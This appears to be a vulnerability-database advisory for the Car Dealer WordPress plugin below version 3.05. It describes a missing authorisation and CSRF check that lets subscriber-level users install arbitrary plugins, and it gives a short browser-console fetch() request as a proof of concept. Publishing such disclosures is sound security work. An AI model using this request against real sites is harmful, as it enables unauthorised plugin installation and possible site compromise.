Lucene search

K
wpexploitLana CodesWPEX-ID:0DB1762E-1401-4006-88ED-D09A4BC6585B
HistoryNov 21, 2022 - 12:00 a.m.

Car Dealer < 3.05 - Subscriber+ Arbitrary Plugin Installation

2022-11-2100:00:00
Lana Codes
134
car dealer
plugin installation
web browser
subscriber user
exploit
developer console
classic-editor plugin

0.001 Low

EPSS

Percentile

20.2%

The plugin does not have proper authorisation and CSRF in an AJAX action, allowing any authenticated users, such as subscriber to call it and install and activate arbitrary plugins from wordpress.org

Run the below command in the developer console of the web browser while being on the blog as a subscriber user to install and activate the classic-editor plugin

fetch('/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=cardealer_install_plugin&slug=classic-editor',
        redirect: 'follow'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

0.001 Low

EPSS

Percentile

20.2%

Related for WPEX-ID:0DB1762E-1401-4006-88ED-D09A4BC6585B